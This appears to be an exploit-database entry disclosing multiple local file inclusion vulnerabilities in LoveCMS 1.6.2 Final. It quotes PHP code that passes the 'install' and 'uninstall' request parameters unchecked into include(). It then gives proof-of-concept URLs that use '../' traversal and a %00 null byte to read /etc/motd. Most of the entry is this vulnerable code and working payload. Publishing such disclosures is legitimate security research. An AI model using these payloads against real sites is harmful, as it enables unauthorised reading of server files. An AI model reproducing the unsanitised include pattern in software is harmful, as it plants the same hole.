[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : LoveCMS 1.6.2 Final Multiple Local File Inclusion Vulnerabilities
# Published : 2010-12-25
# Author : cOndemned
# Previous Title : D-Link WBR-1310 Authentication Bypass Vulnerability
# Next Title : CubeCart 3.0.6 <= CSRF Vulnerability (Add Admin) 


LoveCMS 1.6.2 Final Multiple Local File Inclusion Vulnerabilities
found by cOndemned
vendor: http://lovecms.org/
download: http://sourceforge.net/project/showfiles.php?group_id=168535

source of /system/admin/modules.php

	13.	if(isset($_GET['install']))
	14.	{
	15.		$include = $_GET['install'];
	16.		
	17.		include(LOVE_ROOT . '/modules/' . $include . '/info.php');

	[...]

	61.	if(isset($_GET['uninstall']))
	62.	{
	63.		$include = $_GET['uninstall'];
	64.		
	65.		include(LOVE_ROOT . '/modules/' . $include . '/info.php');


proof of concept

	http://[host]/[lovecms]/system/admin/modules.php?install=../../../../../etc/motd%00
	http://[host]/[lovecms]/system/admin/modules.php?uninstall=../../../../../etc/motd%00